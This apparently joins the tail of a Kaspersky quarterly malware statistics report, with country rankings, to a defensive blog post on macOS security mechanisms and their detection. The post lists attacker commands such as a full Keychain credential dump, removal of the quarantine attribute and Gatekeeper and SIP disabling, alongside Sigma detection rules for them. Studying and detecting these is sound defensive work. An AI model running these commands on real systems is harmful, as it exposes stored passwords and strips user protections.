This section gives the geographical distribution of sources of online attacks blocked by Kaspersky products: web pages that redirect to exploits; sites that host exploits and other malware; botnet C2 centers, and the like. Any unique host could be the source of one or more web-based attacks.
To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).
In the second quarter of 2025, Kaspersky solutions blocked 471,066,028 attacks from internet resources worldwide. Web Anti-Virus responded to 77,371,384 unique URLs.
Countries and territories where users faced the greatest risk of online infection
To assess the risk of malware infection via the internet for usersβ computers in different countries and territories, we calculated the share of Kaspersky users in each location who experienced a Web Anti-Virus alert during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.
This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.
Country/territory*
%**
1
Bangladesh
10.85
2
Tajikistan
10.70
3
Belarus
8.96
4
Nepal
8.45
5
Algeria
8.21
6
Moldova
8.16
7
Turkey
8.08
8
Qatar
8.07
9
Albania
8.03
10
Hungary
7.96
11
Tunisia
7.95
12
Portugal
7.93
13
Greece
7.90
14
Serbia
7.84
15
Bulgaria
7.79
16
Sri Lanka
7.72
17
Morocco
7.70
18
Georgia
7.68
19
Peru
7.63
20
North Macedonia
7.58
*Β Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users targeted by Malware attacks as a percentage of all unique users of Kaspersky products in the country.
On average during the quarter, 6.36% of internet usersβ computers worldwide were subjected to at least one Malware web-based attack.
Local threats
Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.
Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus. This includes malware found directly on user computers or on connected removable media: flash drives, camera memory cards, phones, and external hard drives.
In the second quarter of 2025, our File Anti-Virus recorded 23,260,596 malicious and potentially unwanted objects.
Countries and territories where users faced the highest risk of local infection
For each country and territory, we calculated the percentage of Kaspersky users whose devices experienced a File Anti-Virus triggering at least once during the reporting period. This statistic reflects the level of personal computer infection in different countries and territories around the world.
Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.
Country/territory*
%**
1
Turkmenistan
45.26
2
Afghanistan
34.95
3
Tajikistan
34.43
4
Yemen
31.95
5
Cuba
30.85
6
Uzbekistan
28.53
7
Syria
26.63
8
Vietnam
24.75
9
South Sudan
24.56
10
Algeria
24.21
11
Bangladesh
23.79
12
Belarus
23.67
13
Gabon
23.37
14
Niger
23.35
15
Cameroon
23.10
16
Tanzania
22.77
17
China
22.74
18
Iraq
22.47
19
Burundi
22.30
20
Congo
21.84
* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers Malware local threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.
Overall, 12.94% of user computers globally faced at least one Malware local threat during the second quarter.
The figure for Russia was 14.27%.
If a system is popular with users, you can bet itβs just as popular with cybercriminals. Although Windows still dominates, second place belongs to macOS. And this makes it a viable target for attackers.
With various built-in protection mechanisms, macOS generally provides a pretty much end-to-end security for the end user. This post looks at how some of them work, with examples of common attack vectors and ways of detecting and thwarting them.
Overview of macOS security mechanisms
Letβs start by outlining the set of security mechanisms in macOS with a brief description of each:
Keychain β default password manager
TCC β application access control
SIP β ensures the integrity of information in directories and processes vulnerable to attacks
File Quarantine β protection against launching suspicious files downloaded from the internet
Gatekeeper β ensures only trusted applications are allowed to run
XProtect β signature-based anti-malware protection in macOS
XProtect Remediator β tool for automatic response to threats detected by XProtect
Keychain
Introduced back in 1999, the password manager for macOS remains a key component in the Apple security framework. It provides centralized and secure storage of all kinds of secrets: from certificates and encryption keys to passwords and credentials. All user accounts and passwords are stored in Keychain by default. Access to the data is protected by a master password.
Keychain files are located in the directories ~/Library/Keychains/, /Library/Keychains/ and /Network/Library/Keychains/. Besides the master password, each of them can be protected with its own key. By default, only owners of the corresponding Keychain copy and administrators have access to these files. In addition, the files are encrypted using the reliable AES-256-GCM algorithm. This guarantees a high level of protection, even in the event of physical access to the system.
However, attacks on the macOS password manager still occur. There are specialized utilities, such as Chainbreaker, designed to extract data from Keychain files. With access to the file itself and its password, Chainbreaker allows an attacker to do a local analysis and full data decryption without being tied to the victimβs device. Whatβs more, native macOS tools such as the Keychain Access GUI application or the /usr/bin/security command-line utility can be used for malicious purposes if the system is already compromised.
So while the Keychain architecture provides robust protection, it is still vital to control local access, protect the master password, and minimize the risk of data leakage outside the system. Below is an example of a Chainbreaker command:
As mentioned above, the security utility can be used for command line management, specifically the following commands:
security list-keychains β displays all available Keychain files
Keychain files available to the user
security dump-keychain -a -d β dumps all Keychain files
Keychain file dump
security dump-keychain ~/Library/Keychains/login.keychain-db β dumps a specific Keychain file (a user file is shown as an example)
To detect attacks of this type, you need to configure logging of process startup events. The best way to do this is with the built-in macOS logging tool, ESF. This allows you to collect necessary events for building detection logic. Collection of necessary events using this mechanism is already implemented and configured in Kaspersky Endpoint Detection and Response (KEDR).
Among the events necessary for detecting the described activity are those containing the security dump-keychain and security list-keychains commands, since such activity is not regular for ordinary macOS users. Below is an example of an EDR triggering on a Keychain dump event, as well as an example of a detection rule.
System Integrity Protection (SIP) is one of the most important macOS security mechanisms, which is designed to prevent unauthorized interference in critical system files and processes, even by users with administrative rights. First introduced in OS X 10.11 El Capitan, SIP marked a significant step toward strengthening security by limiting the ability to modify system components, safeguarding against potential malicious influence.
The mechanism protects files and directories by assigning special attributes that block content modification for everyone except trusted system processes, which are inaccessible to users and third-party software. In particular, this makes it difficult to inject malicious components into these files. The following directories are SIP-protected by default:
/System
/sbin
/bin
/usr (except /usr/local)
/Applications (preinstalled applications)
/Library/Application Support/com.apple.TCC
A full list of protected directories is in the configuration file /System/Library/Sandbox/rootless.conf. These are primarily system files and preinstalled applications, but SIP allows adding extra paths.
SIP provides a high level of protection for system components, but if there is physical access to the system or administrator rights are compromised, SIP can be disabled β but only by restarting the system in Recovery Mode and then running the csrutil disable command in the terminal. To check the current status of SIP, use the csrutil status command.
Output of the csrutil status command
To detect this activity, you need to monitor the csrutil status command. Attackers often check the SIP status to find available options. Because they deploy csrutil disable in Recovery Mode before any monitoring solutions are loaded, this command is not logged and so there is no point in tracking its execution. Instead, you can set up SIP status monitoring, and if the status changes, send a security alert.
Example of an event from Kaspersky EDR
Sigma:
title: SIP status discovery
description: This rule detects SIP status discovery
tags:
- attack.discovery
- attack.t1518.001
logsource:
category: process_creation
product: macos
detection:
selection:
cmdline: csrutil status
condition: selection
falsepositives:
- Unknow
level: low
TCC
macOS includes the Transparency, Consent and Control (TCC) framework, which ensures transparency of applications by requiring explicit user consent to access sensitive data and system functions. TCC is structured on SQLite databases (TCC.db), located both in shared directories (/Library/Application Support/com.apple.TCC/TCC.db) and in individual user directories (/Users/<username>/Library/Application Support/com.apple.TCC/TCC.db).
Contents of a table in the TCC database
The integrity of these databases and protection against unauthorized access are implemented using SIP, making it impossible to modify them directly. To interfere with these databases, an attacker must either disable SIP or gain access to a trusted system process. This renders TCC highly resistant to interference and manipulation.
TCC works as follows: whenever an application accesses a sensitive function (camera, microphone, geolocation, Full Disk Access, input control, etc.) for the first time, an interactive window appears with a request for user confirmation. This allows the user to control the extension of privileges.
TCC access permission window
A potential vector for bypassing this mechanism is TCC Clickjacking β a technique that superimposes a visually altered window on top of the permissions request window, hiding the true nature of the request. The unsuspecting user clicks the button and grants permissions to malware. Although this technique does not exploit TCC itself, it gives attackers access to sensitive system functions, regardless of the level of protection.
Example of a superimposed window
Attackers are interested in obtaining Full Disk Access or Accessibility rights, as these permissions grant virtually unlimited access to the system. Therefore, monitoring changes to TCC.db and managing sensitive privileges remain vital tasks for ensuring comprehensive macOS security.
File Quarantine
File Quarantine is a built-in macOS security feature, first introduced in OS X 10.5 Tiger. It improves system security when handling files downloaded from external sources. This mechanism is analogous to the Mark-of-the-Web feature in Windows to warn users of potential danger before running a downloaded file.
Files downloaded through a browser or other application that works with File Quarantine are assigned a special attribute (com.apple.quarantine). When running such a file for the first time, if it has a valid signature and does not arouse any suspicion of Gatekeeper (see below), the user is prompted to confirm the action. This helps prevent running malware by accident.
Example of file attributes that include the quarantine attribute
To get detailed information about the com.apple.quarantine attribute, use the xattr -p com.apple.quarantine <File name> command. The screenshot below shows an example of the output of this command:
0083 β flag for further Gatekeeper actions
689cb865 β timestamp in hexadecimal format (Mac Absolute Time)
Safari β browser used to download the file
66EA7FA5-1F9E-4779-A5B5-9CCA2A4A98F5 β UUID attached to this file. This is needed to database a record of the file
Detailed information about the com.apple.quarantine attribute
The information returned by this command is stored in a database located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2, where it can be audited.
Data in the com.apple.LaunchServices.QuarantineEventsV2 database
To avoid having their files quarantined, attackers use various techniques to bypass File Quarantine. For example, files downloaded via curl, wget or other low-level tools that are not integrated with File Quarantine are not flagged with the quarantine attribute.
Bypassing quarantine using curl
It is also possible to remove the attribute manually using the xattr -d com.apple.quarantine <filename> command.
Removing the quarantine attribute
If the quarantine attribute is successfully removed, no warning will be displayed when the file is run, which is useful in social engineering attacks or in cases where the attacker prefers to execute malware without the userβs knowledge.
Running a file without a File Quarantine check
To detect this activity, you need to monitor execution of the xattr command in conjunction with -d and com.apple.quarantine, which implies removal of the quarantine attribute. In an incident related to macOS compromise, also worth investigating is the origin of the file: if it got onto the host without being flagged by quarantine, this is an additional risk factor. Below is an example of an EDR triggering on a quarantine attribute removal event, as well as an example of a rule for detecting such events.
Example of an event from Kaspersky EDR
Sigma:
title: Quarantine attribute removal
description: This rule detects removal of the Quarantine attribute, that leads to avoid File Quarantine
tags:
- attack.defense-evasion
- attack.t1553.001
logsource:
category: process_creation
product: macos
detection:
selection:
cmdline: xattr -d com.apple.quarantine
condition: selection
falsepositives:
- Unknow
level: high
Gatekeeper
Gatekeeper is a key part of the macOS security system, designed to protect users from running potentially dangerous applications. First introduced in OS X Leopard (2012), Gatekeeper checks the digital signature of applications and, if the quarantine attribute (com.apple.quarantine) is present, restricts the launch of programs unsigned and unapproved by the user, thus reducing the risk of malicious code execution.
The spctl utility is used to manage Gatekeeper. Below is an example of calling spctl to check the validity of a signature and whether it is verified by Apple:
Spctl -a -t exec -vvvv <path to file>
Checking an untrusted file using spctl
Checking a trusted file using spctl
Gatekeeper requires an application to be:
either signed with a valid Apple developer certificate,
or certified by Apple after source code verification.
If the application fails to meet these requirements, Gatekeeper by default blocks attempts to run it with a double-click. Unblocking is possible, but this requires the user to navigate through the settings. So, to carry out a successful attack, the threat actor has to not only persuade the victim to mark the application as trusted, but also explain to them how to do this. The convoluted procedure to run the software looks suspicious in itself. However, if the launch is done from the context menu (right-click β Open), the user sees a pop-up window allowing them to bypass the block with a single click by confirming their intention to use the application. This quirk is used in social engineering attacks: malware can be accompanied by instructions prompting the user to run the file from the context menu.
Example of Chropex Adware using this technique
Letβs take a look at the method for running programs from the context menu, rather than double-clicking. If we double-click the icon of a program with the quarantine attribute, we get the following window.
Running a program with the quarantine attribute by double-clicking
If we run the program from the context menu (right-click β Open), we see the following.
Running a program with the quarantine attribute from the context menu
Attackers with local access and administrator rights can disable Gatekeeper using the spctl βmaster disable or --global-disable command.
To detect this activity, you need to monitor execution of the spctl command with parameters βmaster disable or --global-disable, which disables Gatekeeper. Below is an example of an EDR triggering on a Gatekeeper disable event, as well as an example of a detection rule.
The built-in macOS protection mechanisms are highly resilient and provide excellent security. That said, as with any mature operating system, attackers continue to adapt and search for ways to bypass even the most reliable protective barriers. In some cases when standard mechanisms are bypassed, it may be difficult to implement additional security measures and stop the attack. Therefore, for total protection against cyberthreats, use advanced solutions from third-party vendors. Our Kaspersky EDR Expert and Kaspersky Endpoint Security detect and block all the threats described in this post. In addition, to guard against bypassing of standard security measures, use the Sigma rules we have provided.
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